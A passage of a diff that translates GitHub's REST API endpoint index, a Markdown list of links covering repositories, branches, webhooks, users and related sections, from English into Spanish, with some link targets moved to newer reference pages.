+* [Listar los repositorios para el usuario autenticado](/rest/reference/repos#list-repositories-for-the-authenticated-user)
+* [Listar los repositorios para un usuario](/rest/reference/repos#list-repositories-for-a-user)
+* [Crear un repositorio utilizando una plantilla de repositorio](/rest/reference/repos#create-repository-using-a-repository-template)
 
-#### Repository Activity
+#### Actividad del Repositorio
 
-* [List stargazers](/rest/reference/activity#list-stargazers)
-* [List watchers](/rest/reference/activity#list-watchers)
-* [List repositories starred by a user](/rest/reference/activity#list-repositories-starred-by-a-user)
-* [Check if a repository is starred by the authenticated user](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
-* [Star a repository for the authenticated user](/rest/reference/activity#star-a-repository-for-the-authenticated-user)
-* [Unstar a repository for the authenticated user](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user)
-* [List repositories watched by a user](/rest/reference/activity#list-repositories-watched-by-a-user)
+* [Listar Stargazers](/rest/reference/activity#list-stargazers)
+* [Listar observadores](/rest/reference/activity#list-watchers)
+* [Listar los repositorios que el usuario ha marcado con una estrella](/rest/reference/activity#list-repositories-starred-by-a-user)
+* [Verificar si el usuario autenticado ha marcado al repositorio con una estrella](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
+* [Marcar un repositorio con una estrella para el usuario autenticado](/rest/reference/activity#star-a-repository-for-the-authenticated-user)
+* [Quitar la estrella de un repositorio para el usuario autenticado](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user)
+* [Listar los repositorios que el usuario está observando](/rest/reference/activity#list-repositories-watched-by-a-user)
 
 {% ifversion fpt or ghec %}
-#### Repository Automated Security Fixes
+#### Correcciones de Seguridad Automatizadas de un Repositorio
 
-* [Enable automated security fixes](/rest/reference/repos#enable-automated-security-fixes)
-* [Disable automated security fixes](/rest/reference/repos#disable-automated-security-fixes)
+* [Habilitar las correcciones de seguridad automatizadas](/rest/reference/repos#enable-automated-security-fixes)
+* [Inhabilitar las correcciones de seguridad automatizadas](/rest/reference/repos#disable-automated-security-fixes)
 {% endif %}
 
-#### Repository Branches
+#### Ramas de los Repositorios
 
-* [List branches](/rest/reference/repos#list-branches)
-* [Get a branch](/rest/reference/repos#get-a-branch)
-* [Get branch protection](/rest/reference/repos#get-branch-protection)
-* [Update branch protection](/rest/reference/repos#update-branch-protection)
-* [Delete branch protection](/rest/reference/repos#delete-branch-protection)
-* [Get admin branch protection](/rest/reference/repos#get-admin-branch-protection)
-* [Set admin branch protection](/rest/reference/repos#set-admin-branch-protection)
-* [Delete admin branch protection](/rest/reference/repos#delete-admin-branch-protection)
-* [Get pull request review protection](/rest/reference/repos#get-pull-request-review-protection)
-* [Update pull request review protection](/rest/reference/repos#update-pull-request-review-protection)
-* [Delete pull request review protection](/rest/reference/repos#delete-pull-request-review-protection)
-* [Get commit signature protection](/rest/reference/repos#get-commit-signature-protection)
-* [Create commit signature protection](/rest/reference/repos#create-commit-signature-protection)
-* [Delete commit signature protection](/rest/reference/repos#delete-commit-signature-protection)
-* [Get status checks protection](/rest/reference/repos#get-status-checks-protection)
-* [Update status check protection](/rest/reference/repos#update-status-check-protection)
-* [Remove status check protection](/rest/reference/repos#remove-status-check-protection)
-* [Get all status check contexts](/rest/reference/repos#get-all-status-check-contexts)
-* [Add status check contexts](/rest/reference/repos#add-status-check-contexts)
-* [Set status check contexts](/rest/reference/repos#set-status-check-contexts)
-* [Remove status check contexts](/rest/reference/repos#remove-status-check-contexts)
-* [Get access restrictions](/rest/reference/repos#get-access-restrictions)
-* [Delete access restrictions](/rest/reference/repos#delete-access-restrictions)
-* [List teams with access to the protected branch](/rest/reference/repos#list-teams-with-access-to-the-protected-branch)
-* [Add team access restrictions](/rest/reference/repos#add-team-access-restrictions)
-* [Set team access restrictions](/rest/reference/repos#set-team-access-restrictions)
-* [Remove team access restriction](/rest/reference/repos#remove-team-access-restrictions)
-* [List user restrictions of protected branch](/rest/reference/repos#list-users-with-access-to-the-protected-branch)
-* [Add user access restrictions](/rest/reference/repos#add-user-access-restrictions)
-* [Set user access restrictions](/rest/reference/repos#set-user-access-restrictions)
-* [Remove user access restrictions](/rest/reference/repos#remove-user-access-restrictions)
-* [Merge a branch](/rest/reference/repos#merge-a-branch)
+* [Listar ramas](/rest/reference/branches#list-branches)
+* [Obtener una rama](/rest/reference/branches#get-a-branch)
+* [Obtener la protección de una rama](/rest/reference/branches#get-branch-protection)
+* [Actualizar la protección de una rama](/rest/reference/branches#update-branch-protection)
+* [Borrar la protección de una rama](/rest/reference/branches#delete-branch-protection)
+* [Obtener la protección administrativa de una rama](/rest/reference/branches#get-admin-branch-protection)
+* [Configurar la protección administrativa de una rama](/rest/reference/branches#set-admin-branch-protection)
+* [Borrar la protección administrativa de una rama](/rest/reference/branches#delete-admin-branch-protection)
+* [Obtener la protección de la revisión de una solicitud de extracción](/rest/reference/branches#get-pull-request-review-protection)
+* [Actualizar la protección de la revisión de una solicitud de extracción](/rest/reference/branches#update-pull-request-review-protection)
+* [Borrar la protección de la revisión de una solicitud de extracción](/rest/reference/branches#delete-pull-request-review-protection)
+* [Obtener la protección de firma de una confirmación](/rest/reference/branches#get-commit-signature-protection)
+* [Crear la protección de firma de una confirmación](/rest/reference/branches#create-commit-signature-protection)
+* [Borrar la protección de firma de una confirmación](/rest/reference/branches#delete-commit-signature-protection)
+* [Obtener la protección de las verificaciones de estado](/rest/reference/branches#get-status-checks-protection)
+* [Actualizar la protección para la verificación de estados](/rest/reference/branches#update-status-check-protection)
+* [Eliminar la protección de las verificaciones de estado](/rest/reference/branches#remove-status-check-protection)
+* [Obtener todos los contextos de verificaciones de estado](/rest/reference/branches#get-all-status-check-contexts)
+* [Agregar un contexto de verificación de estado](/rest/reference/branches#add-status-check-contexts)
+* [Obtener un contexto de verificación de estado](/rest/reference/branches#set-status-check-contexts)
+* [Eliminar los contextos de verificación de estado](/rest/reference/branches#remove-status-check-contexts)
+* [Obtener restricciones de acceso](/rest/reference/branches#get-access-restrictions)
+* [Borrar restricciones de acceso](/rest/reference/branches#delete-access-restrictions)
+* [Listar a los equipos con acceso a la rama protegida](/rest/reference/repos#list-teams-with-access-to-the-protected-branch)
+* [Agregar restricciones de acceso a equipos](/rest/reference/branches#add-team-access-restrictions)
+* [Obtener restricciones de acceso a equipos](/rest/reference/branches#set-team-access-restrictions)
+* [Eliminar restricciones de acceso a equipos](/rest/reference/branches#remove-team-access-restrictions)
+* [Listar las restricciones de usuario para la rama protegida](/rest/reference/repos#list-users-with-access-to-the-protected-branch)
+* [Agregar las restricciones de acceso para los usuarios](/rest/reference/branches#add-user-access-restrictions)
+* [Configurar las restricciones de acceso para los usuarios](/rest/reference/branches#set-user-access-restrictions)
+* [Eliminar las restricciones de acceso para los usuarios](/rest/reference/branches#remove-user-access-restrictions)
+* [Fusionar una rama](/rest/reference/branches#merge-a-branch)
 
-#### Repository Collaborators
+#### Colaboradores del Repositorio
 
-* [List repository collaborators](/rest/reference/repos#list-repository-collaborators)
-* [Check if a user is a repository collaborator](/rest/reference/repos#check-if-a-user-is-a-repository-collaborator)
-* [Add a repository collaborator](/rest/reference/repos#add-a-repository-collaborator)
-* [Remove a repository collaborator](/rest/reference/repos#remove-a-repository-collaborator)
-* [Get repository permissions for a user](/rest/reference/repos#get-repository-permissions-for-a-user)
+* [Listar los colaboradores del repositorio](/rest/reference/collaborators#list-repository-collaborators)
+* [Verificar si un usuario es colaborador de un repositorio](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
+* [Agregar un colaborador de repositorio](/rest/reference/collaborators#add-a-repository-collaborator)
+* [Eliminar a un colaborador del repositorio](/rest/reference/collaborators#remove-a-repository-collaborator)
+* [Obtener permisos del repositorio para un usuario](/rest/reference/collaborators#get-repository-permissions-for-a-user)
 
-#### Repository Commit Comments
+#### Comentarios de Confirmaciones de un Repositorio
 
-* [List commit comments for a repository](/rest/reference/repos#list-commit-comments-for-a-repository)
-* [Get a commit comment](/rest/reference/repos#get-a-commit-comment)
-* [Update a commit comment](/rest/reference/repos#update-a-commit-comment)
-* [Delete a commit comment](/rest/reference/repos#delete-a-commit-comment)
-* [List commit comments](/rest/reference/repos#list-commit-comments)
-* [Create a commit comment](/rest/reference/repos#create-a-commit-comment)
+* [Listar los comentarios de confirmaciones en un repositorio](/rest/reference/commits#list-commit-comments-for-a-repository)
+* [Obtener un comentario de una confirmación](/rest/reference/commits#get-a-commit-comment)
+* [Actualizar un comentario de una confirmación](/rest/reference/commits#update-a-commit-comment)
+* [Borrar un comentario de una confirmación](/rest/reference/commits#delete-a-commit-comment)
+* [Listar los comentarios de una confirmación](/rest/reference/commits#list-commit-comments)
+* [Crear un comentario de una confirmación](/rest/reference/commits#create-a-commit-comment)
 
-#### Repository Commits
+#### Confirmaciones de Repositorio
 
-* [List commits](/rest/reference/repos#list-commits)
-* [Get a commit](/rest/reference/repos#get-a-commit)
-* [List branches for head commit](/rest/reference/repos#list-branches-for-head-commit)
-* [List pull requests associated with commit](/rest/reference/repos#list-pull-requests-associated-with-commit)
+* [Listar confirmaciones](/rest/reference/commits#list-commits)
+* [Obtener una confirmación](/rest/reference/commits#get-a-commit)
+* [Listar ramas para la confirmación principal](/rest/reference/commits#list-branches-for-head-commit)
+* [Listar solicitudes de extracción asociadas con una confirmación](/rest/reference/repos#list-pull-requests-associated-with-commit)
 
-#### Repository Community
+#### Comunidad del Repositorio
 
-* [Get the code of conduct for a repository](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository)
+* [Obtener el código de conducta de un repositorio](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository)
 {% ifversion fpt or ghec %}
-* [Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)
+* [Obtener las métricas de perfil de la comunidad](/rest/reference/repository-metrics#get-community-profile-metrics)
 {% endif %}
 
-#### Repository Contents
+#### Contenido de los Repositorios
 
-* [Download a repository archive](/rest/reference/repos#download-a-repository-archive)
-* [Get repository content](/rest/reference/repos#get-repository-content)
-* [Create or update file contents](/rest/reference/repos#create-or-update-file-contents)
-* [Delete a file](/rest/reference/repos#delete-a-file)
-* [Get a repository README](/rest/reference/repos#get-a-repository-readme)
-* [Get the license for a repository](/rest/reference/licenses#get-the-license-for-a-repository)
+* [Descargar un archivo de un repositorio](/rest/reference/repos#download-a-repository-archive)
+* [Obtener el contenido de un repositorio](/rest/reference/repos#get-repository-content)
+* [Crear o actualizar los contenidos de archivo](/rest/reference/repos#create-or-update-file-contents)
+* [Borrar un archivo](/rest/reference/repos#delete-a-file)
+* [Obtener el README de un repositorio](/rest/reference/repos#get-a-repository-readme)
+* [Obtener la licencia para un repositorio](/rest/reference/licenses#get-the-license-for-a-repository)
 
 {% ifversion fpt or ghes or ghae or ghec %}
-#### Repository Event Dispatches
+#### Envíos de Evento de un Repositorio
 
-* [Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)
+* [Crear un evento de envío de un repositorio](/rest/reference/repos#create-a-repository-dispatch-event)
 {% endif %}
 
-#### Repository Hooks
+#### Ganchos de Repositorio
 
-* [List repository webhooks](/rest/reference/repos#list-repository-webhooks)
-* [Create a repository webhook](/rest/reference/repos#create-a-repository-webhook)
-* [Get a repository webhook](/rest/reference/repos#get-a-repository-webhook)
-* [Update a repository webhook](/rest/reference/repos#update-a-repository-webhook)
-* [Delete a repository webhook](/rest/reference/repos#delete-a-repository-webhook)
-* [Ping a repository webhook](/rest/reference/repos#ping-a-repository-webhook)
-* [Test the push repository webhook](/rest/reference/repos#test-the-push-repository-webhook)
+* [Listar los webhooks de un repositorio](/rest/reference/webhooks#list-repository-webhooks)
+* [Crear un webhook para un repositorio](/rest/reference/webhooks#create-a-repository-webhook)
+* [Obtener un webhook para un repositorio](/rest/reference/webhooks#get-a-repository-webhook)
+* [Actualizar el webhook de un repositorio](/rest/reference/webhooks#update-a-repository-webhook)
+* [Borrar el webhook de un repositorio](/rest/reference/webhooks#delete-a-repository-webhook)
+* [Hacer ping al webhook de un repositorio](/rest/reference/webhooks#ping-a-repository-webhook)
+* [Probar el webhook de carga a un repositorio](/rest/reference/repos#test-the-push-repository-webhook)
 
-#### Repository Invitations
+#### Invitaciones a un repositorio
 
-* [List repository invitations](/rest/reference/repos#list-repository-invitations)
-* [Update a repository invitation](/rest/reference/repos#update-a-repository-invitation)
-* [Delete a repository invitation](/rest/reference/repos#delete-a-repository-invitation)
-* [List repository invitations for the authenticated user](/rest/reference/repos#list-repository-invitations-for-the-authenticated-user)
-* [Accept a repository invitation](/rest/reference/repos#accept-a-repository-invitation)
-* [Decline a repository invitation](/rest/reference/repos#decline-a-repository-invitation)
+* [Listar las invitaciones a un repositorio](/rest/reference/collaborators#list-repository-invitations)
+* [Actualizar la invitación a un repositorio](/rest/reference/collaborators#update-a-repository-invitation)
+* [Borrar la invitación a un repositorio](/rest/reference/collaborators#delete-a-repository-invitation)
+* [Listar las invitaciones a un repositorio para el usuario autenticado](/rest/reference/collaborators#list-repository-invitations-for-the-authenticated-user)
+* [Aceptar la invitación a un repositorio](/rest/reference/collaborators#accept-a-repository-invitation)
+* [Rechazar la invitación a un repositorio](/rest/reference/collaborators#decline-a-repository-invitation)
 
-#### Repository Keys
+#### Claves de Repositorio
 
-* [List deploy keys](/rest/reference/repos#list-deploy-keys)
-* [Create a deploy key](/rest/reference/repos#create-a-deploy-key)
-* [Get a deploy key](/rest/reference/repos#get-a-deploy-key)
-* [Delete a deploy key](/rest/reference/repos#delete-a-deploy-key)
+* [Listar claves de despliegue](/rest/reference/deployments#list-deploy-keys)
+* [Crear una clave de despliegue](/rest/reference/deployments#create-a-deploy-key)
+* [Obtener una clave de despliegue](/rest/reference/deployments#get-a-deploy-key)
+* [Borrar una clave de despiegue](/rest/reference/deployments#delete-a-deploy-key)
 
-#### Repository Pages
+#### Páginas de Repositorio
 
-* [Get a GitHub Pages site](/rest/reference/repos#get-a-github-pages-site)
-* [Create a GitHub Pages site](/rest/reference/repos#create-a-github-pages-site)
-* [Update information about a GitHub Pages site](/rest/reference/repos#update-information-about-a-github-pages-site)
-* [Delete a GitHub Pages site](/rest/reference/repos#delete-a-github-pages-site)
-* [List GitHub Pages builds](/rest/reference/repos#list-github-pages-builds)
-* [Request a GitHub Pages build](/rest/reference/repos#request-a-github-pages-build)
-* [Get GitHub Pages build](/rest/reference/repos#get-github-pages-build)
-* [Get latest pages build](/rest/reference/repos#get-latest-pages-build)
+* [Obtener un sitio de GitHub Pages](/rest/reference/pages#get-a-github-pages-site)
+* [Crear un sitio de GitHub Pages](/rest/reference/pages#create-a-github-pages-site)
+* [Actualizar la información acerca de un sitio de GitHub Pages](/rest/reference/pages#update-information-about-a-github-pages-site)
+* [Borrar un sitio de GitHub Pages](/rest/reference/pages#delete-a-github-pages-site)
+* [Listar las compilaciones de GitHub Pages](/rest/reference/pages#list-github-pages-builds)
+* [Solicitar una compilación de GitHub Pages](/rest/reference/pages#request-a-github-pages-build)
+* [Obtener una compilación de GitHub Pages](/rest/reference/pages#get-github-pages-build)
+* [Obtener la última compilación de pages](/rest/reference/pages#get-latest-pages-build)
 
 {% ifversion ghes %}
-#### Repository Pre Receive Hooks
+#### Ganchos de Pre-recepción de un Repositorio
 
-* [List pre-receive hooks for a repository](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository)
-* [Get a pre-receive hook for a repository](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository)
-* [Update pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository)
-* [Remove pre-receive hook enforcement for a repository](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository)
+* [Listar los ganchos de pre-recepción para un repositorio](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository)
+* [Obtener un gancho de pre-recepción de un repositorio](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository)
+* [Actualizar el requerir ganchos de pre-recepción en un repositorio](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository)
+* [Eliminar el requerir ganchos de pre-recepción para un repositorio](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository)
 {% endif %}
 
-#### Repository Releases
+#### Lanzamientos de repositorio
 
-* [List releases](/rest/reference/repos/#list-releases)
-* [Create a release](/rest/reference/repos/#create-a-release)
-* [Get a release](/rest/reference/repos/#get-a-release)
-* [Update a release](/rest/reference/repos/#update-a-release)
-* [Delete a release](/rest/reference/repos/#delete-a-release)
-* [List release assets](/rest/reference/repos/#list-release-assets)
-* [Get a release asset](/rest/reference/repos/#get-a-release-asset)
-* [Update a release asset](/rest/reference/repos/#update-a-release-asset)
-* [Delete a release asset](/rest/reference/repos/#delete-a-release-asset)
-* [Get the latest release](/rest/reference/repos/#get-the-latest-release)
-* [Get a release by tag name](/rest/reference/repos/#get-a-release-by-tag-name)
+* [Listar los lanzamientos](/rest/reference/repos/#list-releases)
+* [Crear un lanzamiento](/rest/reference/repos/#create-a-release)
+* [Obtener un lanzamiento](/rest/reference/repos/#get-a-release)
+* [Actualizar un lanzamiento](/rest/reference/repos/#update-a-release)
+* [Borrar un lanzamiento](/rest/reference/repos/#delete-a-release)
+* [Listar activos de lanzamiento](/rest/reference/repos/#list-release-assets)
+* [Obtener un activo de lanzamiento](/rest/reference/repos/#get-a-release-asset)
+* [Actualizar un activo de lanzamiento](/rest/reference/repos/#update-a-release-asset)
+* [Borrar un activo de lanzamiento](/rest/reference/repos/#delete-a-release-asset)
+* [Obtener el lanzamiento más reciente](/rest/reference/repos/#get-the-latest-release)
+* [Obtener un lanzamiento por nombre de matrícula](/rest/reference/repos/#get-a-release-by-tag-name)
 
-#### Repository Stats
+#### Estadísticas de Repositorio
 
-* [Get the weekly commit activity](/rest/reference/repos#get-the-weekly-commit-activity)
-* [Get the last year of commit activity](/rest/reference/repos#get-the-last-year-of-commit-activity)
-* [Get all contributor commit activity](/rest/reference/repos#get-all-contributor-commit-activity)
-* [Get the weekly commit count](/rest/reference/repos#get-the-weekly-commit-count)
-* [Get the hourly commit count for each day](/rest/reference/repos#get-the-hourly-commit-count-for-each-day)
+* [Obtener la actividad de confirmaciones semanal](/rest/reference/repository-metrics#get-the-weekly-commit-activity)
+* [Obtener la actividad de confirmaciones del año pasado](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity)
+* [Obtener la actividad de confirmaciones de todos los colaboradores](/rest/reference/repository-metrics#get-all-contributor-commit-activity)
+* [Obtener la cuenta semanal de confirmaciones](/rest/reference/repository-metrics#get-the-weekly-commit-count)
+* [Obtener la cuenta de confirmaciones por hora para cada día](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day)
 
 {% ifversion fpt or ghec %}
-#### Repository Vulnerability Alerts
+#### Alertas de Vulnerabilidad en Repositorios
 
-* [Enable vulnerability alerts](/rest/reference/repos#enable-vulnerability-alerts)
-* [Disable vulnerability alerts](/rest/reference/repos#disable-vulnerability-alerts)
+* [Habilitar las alertas de vulnerabilidades](/rest/reference/repos#enable-vulnerability-alerts)
+* [Inhabilitar las alertas de vulnerabilidades](/rest/reference/repos#disable-vulnerability-alerts)
 {% endif %}
 
-#### Root
+#### Raíz
 
-* [Root endpoint](/rest#root-endpoint)
+* [Terminal raíz](/rest#root-endpoint)
 * [Emojis](/rest/reference/emojis#emojis)
-* [Get rate limit status for the authenticated user](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
+* [Obtener un estado de límite de tasa para el usuario autenticado](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
 
-#### Search
+#### Buscar
 
-* [Search code](/rest/reference/search#search-code)
-* [Search commits](/rest/reference/search#search-commits)
-* [Search labels](/rest/reference/search#search-labels)
-* [Search repositories](/rest/reference/search#search-repositories)
-* [Search topics](/rest/reference/search#search-topics)
-* [Search users](/rest/reference/search#search-users)
+* [Buscar código](/rest/reference/search#search-code)
+* [Buscar confirmaciones](/rest/reference/search#search-commits)
+* [Buscar etiquetas](/rest/reference/search#search-labels)
+* [Buscar repositorios](/rest/reference/search#search-repositories)
+* [Buscar temas](/rest/reference/search#search-topics)
+* [Buscar usuarios](/rest/reference/search#search-users)
 
-#### Statuses
+#### Estados
 
-* [Get the combined status for a specific reference](/rest/reference/repos#get-the-combined-status-for-a-specific-reference)
-* [List commit statuses for a reference](/rest/reference/repos#list-commit-statuses-for-a-reference)
-* [Create a commit status](/rest/reference/repos#create-a-commit-status)
+* [Obtener el estado combinado para una referencia específica](/rest/reference/commits#get-the-combined-status-for-a-specific-reference)
+* [Listar los estados de confirmación para una referencia](/rest/reference/commits#list-commit-statuses-for-a-reference)
+* [Crear un estado de confirmación](/rest/reference/commits#create-a-commit-status)
 
-#### Team Discussions
+#### Debates de Equipo
 
-* [List discussions](/rest/reference/teams#list-discussions)
-* [Create a discussion](/rest/reference/teams#create-a-discussion)
-* [Get a discussion](/rest/reference/teams#get-a-discussion)
-* [Update a discussion](/rest/reference/teams#update-a-discussion)
-* [Delete a discussion](/rest/reference/teams#delete-a-discussion)
-* [List discussion comments](/rest/reference/teams#list-discussion-comments)
-* [Create a discussion comment](/rest/reference/teams#create-a-discussion-comment)
-* [Get a discussion comment](/rest/reference/teams#get-a-discussion-comment)
-* [Update a discussion comment](/rest/reference/teams#update-a-discussion-comment)
-* [Delete a discussion comment](/rest/reference/teams#delete-a-discussion-comment)
+* [Listar debates](/rest/reference/teams#list-discussions)
+* [Crear un debate](/rest/reference/teams#create-a-discussion)
+* [Obtener un debate](/rest/reference/teams#get-a-discussion)
+* [Actualizar un debate](/rest/reference/teams#update-a-discussion)
+* [Borrar un debate](/rest/reference/teams#delete-a-discussion)
+* [Listar los comentarios del debate](/rest/reference/teams#list-discussion-comments)
+* [Crear un comentario sobre un debate](/rest/reference/teams#create-a-discussion-comment)
+* [Obtener un comentario de un debate](/rest/reference/teams#get-a-discussion-comment)
+* [Actualizar un comentario en un debate](/rest/reference/teams#update-a-discussion-comment)
+* [Borrar un comentario de un debate](/rest/reference/teams#delete-a-discussion-comment)
 
-#### Topics
+#### Temas
 
-* [Get all repository topics](/rest/reference/repos#get-all-repository-topics)
-* [Replace all repository topics](/rest/reference/repos#replace-all-repository-topics)
+* [Obtener todos los temas de un repositorio](/rest/reference/repos#get-all-repository-topics)
+* [Reemplazar todos los temas de un repositorio](/rest/reference/repos#replace-all-repository-topics)
 
 {% ifversion fpt or ghec %}
-#### Traffic
+#### Tráfico
 
-* [Get repository clones](/rest/reference/repos#get-repository-clones)
-* [Get top referral paths](/rest/reference/repos#get-top-referral-paths)
-* [Get top referral sources](/rest/reference/repos#get-top-referral-sources)
-* [Get page views](/rest/reference/repos#get-page-views)
+* [Obtener los clones de un repositorio](/rest/reference/repository-metrics#get-repository-clones)
+* [Obtener las rutas de referencia superior](/rest/reference/repository-metrics#get-top-referral-paths)
+* [Obtener las fuentes de referencia superior](/rest/reference/repository-metrics#get-top-referral-sources)
+* [Obtener las visualizaciones de página](/rest/reference/repository-metrics#get-page-views)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### User Blocking
+#### Bloquear Usuarios
 
-* [List users blocked by the authenticated user](/rest/reference/users#list-users-blocked-by-the-authenticated-user)
-* [Check if a user is blocked by the authenticated user](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user)
-* [List users blocked by an organization](/rest/reference/orgs#list-users-blocked-by-an-organization)
-* [Check if a user is blocked by an organization](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization)
-* [Block a user from an organization](/rest/reference/orgs#block-a-user-from-an-organization)
-* [Unblock a user from an organization](/rest/reference/orgs#unblock-a-user-from-an-organization)
-* [Block a user](/rest/reference/users#block-a-user)
-* [Unblock a user](/rest/reference/users#unblock-a-user)
+* [Listar a los usuarios que ha bloqueado el usuario autenticado](/rest/reference/users#list-users-blocked-by-the-authenticated-user)
+* [Verificar si el usuario autenticado bloqueó a un usuario](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user)
+* [Listar a los usuarios que habloqueado la organización](/rest/reference/orgs#list-users-blocked-by-an-organization)
+* [Verificar si una organización bloqueó a un usuario](/rest/reference/orgs#check-if-a-user-is-blocked-by-an-organization)
+* [Bloquear a un usuario de una organización](/rest/reference/orgs#block-a-user-from-an-organization)
+* [Desbloquear a un usuario de una organización](/rest/reference/orgs#unblock-a-user-from-an-organization)
+* [Bloquear a un usuario](/rest/reference/users#block-a-user)
+* [Desbloquear a un usuario](/rest/reference/users#unblock-a-user)
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-#### User Emails
+#### Correo Electrónico de Usuario
 
 {% ifversion fpt or ghec %}
-* [Set primary email visibility for the authenticated user](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user)
+* [Configurar la visibilidad del correo electrónico principal para el usuario autenticado](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user)
 {% endif %}
-* [List email addresses for the authenticated user](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
-* [Add email address(es)](/rest/reference/users#add-an-email-address-for-the-authenticated-user)
-* [Delete email address(es)](/rest/reference/users#delete-an-email-address-for-the-authenticated-user)
-* [List public email addresses for the authenticated user](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user)
+* [Listar las direcciones de correo electrónico para el usuario autenticado](/rest/reference/users#list-email-addresses-for-the-authenticated-user)
+* [Agregar la(s) dirección(es) de correo electrónico](/rest/reference/users#add-an-email-address-for-the-authenticated-user)
+* [Borrar la(s) direccion(es) de correo electrónico](/rest/reference/users#delete-an-email-address-for-the-authenticated-user)
+* [Listar las direcciones de correo electrónico del usuario autenticado](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user)
 {% endif %}
 
-#### User Followers
+#### Seguidores del Usuario
 
-* [List followers of a user](/rest/reference/users#list-followers-of-a-user)
-* [List the people a user follows](/rest/reference/users#list-the-people-a-user-follows)
-* [Check if a person is followed by the authenticated user](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user)
-* [Follow a user](/rest/reference/users#follow-a-user)
-* [Unfollow a user](/rest/reference/users#unfollow-a-user)
-* [Check if a user follows another user](/rest/reference/users#check-if-a-user-follows-another-user)
+* [Listar los seguidores de un usuario](/rest/reference/users#list-followers-of-a-user)
+* [Listar a las personas que sigue un usuario](/rest/reference/users#list-the-people-a-user-follows)
+* [Revisar si el usuario autenticado sigue a una persona](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user)
+* [Seguir a un usuario](/rest/reference/users#follow-a-user)
+* [Dejar de seguri a un usuario](/rest/reference/users#unfollow-a-user)
+* [Verificar si el usuario sigue a otro usuario](/rest/reference/users#check-if-a-user-follows-another-user)
 
-#### User Gpg Keys
+#### Utilizar Llaves Gpg
 
-* [List GPG keys for the authenticated user](/rest/reference/users#list-gpg-keys-for-the-authenticated-user)
-* [Create a GPG key for the authenticated user](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user)
-* [Get a GPG key for the authenticated user](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user)
-* [Delete a GPG key for the authenticated user](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user)
-* [List gpg keys for a user](/rest/reference/users#list-gpg-keys-for-a-user)
+* [Listar las llaves GPG para el usuario autenticado](/rest/reference/users#list-gpg-keys-for-the-authenticated-user)
+* [Crear una llave GPG para el usuario autenticado](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user)
+* [Obtener una llave GPG para el usuario autenticado](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user)
+* [Borrar una llave GPG para el usuario autenticado](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user)
+* [Listar las llaves GPG de un usuario](/rest/reference/users#list-gpg-keys-for-a-user)
 
-#### User Public Keys
+#### Llaves Públicas de Usuario
 
-* [List public SSH keys for the authenticated user](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user)
-* [Create a public SSH key for the authenticated user](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user)
-* [Get a public SSH key for the authenticated user](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user)
-* [Delete a public SSH key for the authenticated user](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user)
-* [List public keys for a user](/rest/reference/users#list-public-keys-for-a-user)
+* [Listar las llaves SSH para el usuario autenticado](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user)
+* [Crear una llave SSH para el usuario autenticado](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user)
+* [Obtener una llave SSH pública para el usuario autenticado](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user)
+* [Borrar una llave pública de SSH para el usuario autenticado](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user)
+* [Listar las llaves públicas de un usuario](/rest/reference/users#list-public-keys-for-a-user)
 
-#### Users
+#### Usuarios
 
-* [Get the authenticated user](/rest/reference/users#get-the-authenticated-user)
-* [List app installations accessible to the user access token](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)
+* [Obtener al usuario autenticado](/rest/reference/users#get-the-authenticated-user)
+* [Listar las instalaciones de apps accesibles para el token de acceso del usuario](/rest/reference/apps#list-app-installations-accessible-to-the-user-access-token)
 {% ifversion fpt or ghec %}
-* [List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
+* [Listar las suscripciones del usuario autenticado](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)
 {% endif %}
-* [List users](/rest/reference/users#list-users)
-* [Get a user](/rest/reference/users#get-a-user)
+* [Listar usuarios](/rest/reference/users#list-users)
